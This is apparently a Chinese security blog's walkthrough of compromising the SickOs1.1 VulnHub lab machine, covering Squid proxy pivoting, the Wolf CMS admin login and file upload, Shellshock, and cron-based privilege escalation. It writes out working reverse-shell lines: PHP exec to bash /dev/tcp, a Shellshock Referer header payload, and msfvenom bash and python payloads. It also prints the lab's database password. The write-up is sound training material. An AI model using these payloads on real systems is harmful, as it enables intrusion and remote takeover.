Araの博客

安全研究员

0%

[靶场]-SickOs1.1

发表于 更新于 分类于
本文字数： 6.5k 阅读时长 ≈ 12 分钟
本文聚焦于vulhub靶场SickOs1.1的分析与渗透测试

[靶场篇]vulhub靶场SickOs1.1的分析与渗透测试

一.基本信息

靶场名 SickOs1.1
来源 vulhub
下载链接 SickOs: 1.1 ~ VulnHub
难度 简单
网络 DHCP自动分配–本实验环境采用桥接模式
实验环境 攻击机：win11操作系统+wsl下的kali
测试机：VMware® Workstation 17 Pro里安装镜像
技术栈 信息打点，如何利用代理穿越，CMS渗透漏洞点，爆破，shellshock漏洞利用，定时任务提权

二.测试流程

信息收集

初步主机信息打点

测试环境准备好后，ifconfig之后获取本机ip已知网段后，主机发现采集测试机ip，采用工具快速识别扫描主机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#初步的模糊测试,测试寻找ip段，其中的三个工具博主常用分别是golin,nmap,rscan
rscan -a <ip>.0/24 
nmap -sn <ip>.0/24 
golin scan -i <ip>.0/24

#ping测试目标ip
ping <ip>

#初步端口发现测试，可能存在网络延迟，建议多次尝试
nmap --min-rate 10000 -p- <ip> 
nmap --min-rate 9000 -Pn -Ss -p-  <ip> #降低扫描速率，过滤主机发现的过程采用半开放扫描

#进一步详细测试拿到一些版本，系统相关的信息
nmap -sT -sV -O -p22,8080,3128 <ip>

#后续常规的UDP探测
nmap -sU -sV -O -p22,8080,3128 <ip>

#常规漏扫
nmap --script=vuln -p3128,22,8080 <ip>

目前或得到的信息：

  • 拿到成功拿到测试机的ip信息
  • 初步捕获到22，3128和8080端口的开放

#初步端口探测信息

PORT STATE SERVICE
22/tcp open ssh
3128/tcp open squid-http
8080/tcp closed http-proxy

#详细端口探测信息

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy

#UDP端口探测信息

PORT STATE SERVICE
22/udp open|filtered ssh
3128/udp open|filtered ndl-aas
8080/udp open|filtered http-alt

  • ping测试不通，ICMP可能被设置为静默相应–>影响到nmap扫描的参数设置PE

常规端口信息打点

接下来根据端口选择优先级原则，我们一般不先优先尝试22端口，先采用开放的3128进行试探

1
curl http://<ip>:3128

是一个ERROR页面，查看源代码拿到的信息是：

  • 给了个邮箱的信息

  • squid/3.1.19的版本信息

没有什么关键的信息，尝试目录爆破,下面列出两个常用的，但是均无一有用发现

1
2
3
gobuster dir -u http://<ip>:3128 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
#出现错误-->推测可能是WAF或者是代理问题
dirb http://<ip>:3128 #无结果

隐藏端口信息打点

根据显示的信息和拿到的服务名字squid-http，搜集相关信息

[!NOTE]

Squid 3.1.19 是一款较早版本的代理服务器软件，主要用于缓存网页内容、控制网络访问等。以下是关于该版本的相关信息及已知漏洞问题的整理：

一、Squid 3.1.19 基本信息

  1. 软件定位
    Squid 是一款广泛使用的开源代理服务器兼 Web 缓存服务器，支持 HTTP、HTTPS、FTP 等协议，常用于企业内网、校园网的流量控制、缓存加速和访问管理。
  2. 版本背景
    3.1.19 发布于 2012 年左右，属于 3.1.x 分支的后期版本，主要修复了前期版本的部分 bug，但该分支已停止维护多年（目前 Squid 最新稳定版为 6.x 系列）。
  3. 主要功能
  • 网页内容缓存，减少重复请求，提升访问速度；
  • 基于 ACL（访问控制列表）的访问权限管理；
  • 流量监控与日志记录；
  • 支持正向代理、反向代理等模式。
namp探测结果
AI分析
Typora-Logo
运作信息

根据目前排查结果来看，没有多余的信息，而且3128给到了squid-http服务的关键信息，那可能猜测对内部的端口网页进行访问时候需要采用http协议走3128端口，既然如此我们可以采用http代理方式进行端口主机发现（此前8080端口已测试没有任何结果）

这里采用httpx工具，得到信息是80端口有开放，这里相当于某种意义上的二次端口发现

1
httpx -u http://<ip> -p 1-1000 -proxy http://<ip>:3128 -sc -title -silent

image-20250804205111388

[!NOTE]

研究了一下目前接触到的工具，对于目前这种http代理需要走http协议的环境，我找的方式是利用httpx走http协议去主机发现，其实也可以用python写一个利用脚本，但是不如现成的工具速率快，nmap没有原生的http代理参数，遂试过采用proxychains+nmap的方式但是没有成功，但也为后来省略二次主机发现过程对一些非http协议的端口的继续试探提供理由。总结来看·究其原因还是主机主要还是针对http代理这块。

1
2
>#proxychains+nmap方式是失败的
>proxychains -f proxy.conf nmap -sT --top-ports 100 <ip>

image-20250730120355161

拿到代理下的隐藏端口开放后，我们目前继续沿用常规的思路，对网站进行漏洞扫描，采用nikto工具（方便走http代理）

1
nikto -h <ip> -useproxy http://<ip>:3128

[!IMPORTANT]

/cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

阿帕奇服务器从http请求中获得user_agent的信息并将它赋值给http_user_agent环境变量，而curl -A可以更改user_agent字段。因此，我们可以通过curl -A指令修改该字段从而发起攻击

发现一个可疑存在的shellshock漏洞，可作为接下来的突破面，接下来继续打点80端口的信息，用curl访问一下发现是一段文字BLEHHH!!!，证明访问成功，在浏览器利用设置或者插件(SwitchyOmega)配置一下代理服务器访问的确如此，接下来就开始继续搜集信息，利用durb爆破目录

1
dirb http://<ip> -p http://<ip>:3128

有两个有意思的点一个是connect目录一个是robots目录

#connect目录下有一个python文件？可以持续连接的服务？

1
2
3
#!/usr/bin/python
print "I Try to connect things very frequently\n"
print "You may want to try my services"

#robots目录下给到了一个/wolfcms，判断存在一个CMS系统

渗透测试

CMS渗透+提权

访问相关的系统页面

image-20250804211829974

image-202508042118229974

像是一个CMS系统的首页，那么其必然存在着后台管理界面，继续目录爆破，再沿用dirb/gobuster命令后采用参数模糊测试ffuf工具（网络搜集信息也可以找到wolfcms的目录在?admin下）

1
2
#经过测试可能有前缀?
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<ip>/wolfcms/\?FUZZ -t 100 -x http://<ip>:3128

image-20250804212237659

访问发现后台登录界面，根据信息搜集可以推测默认密码是admin/admin（在网络上搜集也能找到），为了思路的更合理全面性我采用爆破的方式用Burp监听抓下包（记得配置上游代理）用admin/admin成功通过验证

image-20250804212420985

继续走发现有两个可利用的漏洞点:

[!IMPORTANT]

A.这里可以修改CMS前台页面，可以造成恶意代码嵌入

1
2
><?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.208.110/443 0<&1 2>&1'");?>
>#选用443端口是因为在我们上次的探测过程中得知了它可能配置防火墙的规则，443和80一般是长期打开允许通过，故反弹shell选取常见端口

image-20250804215621205

B.可以传恶意文件，在前台也有public的目录可以访问到

image-20250804215927392

上传文件，用蚁剑走代理然后连接public/a.php，成功上线，常规whoami;ip a;uname -a;dpkg -l查看信息后，在网站目录config.php文件拿到配置信息–主要是一般cms要找一些配置信息，看到了可能是数据库或者是ssh等用户密码，到etc/passwd查看详细登录权限，试过root不行密码不对而且一般ssh不会设置root的，有sh登录是www-data等试了一下都不行，有bash的是sickos尝试了一下发现成功上线

define(‘DB_DSN’, ‘mysql:dbname=wolf;host=localhost;port=3306’);
define(‘DB_USER’, ‘root’);
define(‘DB_PASS’, ‘john@123’);
define(‘TABLE_PREFIX’, ‘’);

image-20250804220028607

image-20250804220125909

image-20250804220115346

sudo看 sudo -l 可喜的三个all

image-20250804220455509

sudo /bin/bash 继续提，成功，礼毕😎

image-20250804220511418

这里提一嘴采用反弹shell也可以，只需要推出到前台article路由界面刷新重载代码就可以加载恶意代码连接上来，后续的操作起始是类似的。

ShellShock攻击

[!NOTE]

ShellShock该漏洞源于Bash的“函数导出”功能。Bash的每个新实例会扫描环境变量列表以获取编码脚本，并将其组装成命令执行，但它不会验证脚本来源及命令正确性。因此，攻击者可通过操纵环境变量列表，将恶意代码嵌入环境变量，当Bash处理这些环境变量时，就会执行恶意命令，从而实现未授权访问计算机系统。

当 Web 服务器（如 Apache、Nginx 等）处理 CGI 脚本时，HTTP 请求头会被转换为服务器进程（通常是 Web 服务进程，如httpd）的环境变量，但这些环境变量是临时的、仅存在于当前 CGI 进程的上下文

1
2
curl -v --proxy http://<ip>:3128 http://<ip>/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
#uid=33(www-data) gid=33(www-data) groups=33(www-data) 测试结果

采用如上命令后成功返回id信息，说明存在此漏洞，故上线尝试反弹shell,采用msf相关工具生成payload

1
2
3
msfvenom -p cmd/unix/reverse_bash lhost=<ip> lport=443 -f raw
#raw是显示原格式
#cmd/unix/reverse_bash 是一个针对 Unix 系统的载荷，作用是在目标系统上创建一个反向 Bash shell—— 即让目标机器主动连接攻击者控制的机器，并提供一个交互式的 Bash 命令行接口。

0<&198-;exec 198<>/dev/tcp//443;/bin/sh <&198 >&198 2>&198

1
>curl -v --proxy http://<ip>:3128 http://<ip>/cgi-bin/status -H "Referer:() {  test;}; 0<&198-;exec 198<>/dev/tcp/<ip>/443;/bin/sh <&198 >&198 2>&198

这里payload要指定源路径，否则可能目标靶机没有sh的默认环境变量/bin/bash: sh: No such file or directory

image-20250804221802544

成功上线，利用python -c "import pty;pty.spawn('/bin/bash')"增强交互性。

提权操作

前面的cms提权思路就不多赘述，主要说第二种去主要的网站目录下找一下网站信息，因为一般是www-data用户拥有查看/var/www目录下网站信息（前面推断的apache服务器）

image-20250804222145284

结合前面看到的connect信息推测可能和某种定时任务有关系，来到etc文件夹下利用通配符逐一查找ls -liah cro*，最终在/etc/cron.d里automate找到关键的:

root /usr/bin/python /var/www/connect.py

准备在connect.py里面写入反弹shell的命令msfvenom -p cmd/unix/reverse_python lhost=<ip> lport=444 -f raw利用echo插入py文件的后边然后开启监听444

image-20250804222630170

礼毕，提权成功😎

image-20250804222649397

根据信息搜集，主机 ping 不通的原因很可能是 iptables 防火墙设置导致的。虽然net.ipv4.icmp_echo_ignore_all = 0表示系统未从内核层面禁用 ICMP 响应，但iptables的INPUT链默认策略为DROP，且没有允许 ICMP 流量通过的规则，所以会拦截 ping 请求。

image-20250804223230717

之前的 iptables 规则中，INPUT 链的默认策略是 DROP（policy DROP），这意味着：

  • 所有未被明确允许（ACCEPT）的入站流量都会被默默丢弃
  • 这也是外部主机无法 ping 通该主机的核心原因（ICMP 流量未被允许，触发默认 DROP）

三.细节分析

  • 有些cms信息可以在网上搜寻到可以避免很大功夫
  • 有些渗透测试的命令需要变通，如果采用常规的一些冰蝎容易被锁定流量
  • 注意思路的连通性，扩展整个可利用面和注意整体的细节性
  • 本靶机一个特别之处我认为在于一个http代理如何利用突破和巧用工具（靶机ip由于多次测试可能会变，不要以图ip为准，主要看思路）

声明:

本文只应用与信息安全的交流与学习，此为作者学习记录，请勿利用文章相关技术从事非法活动，如因此产生任何的不良后果与文章作者无关，本文仅供学习参考。

坚持原创，如鼓励可以赏一杯甜水🥤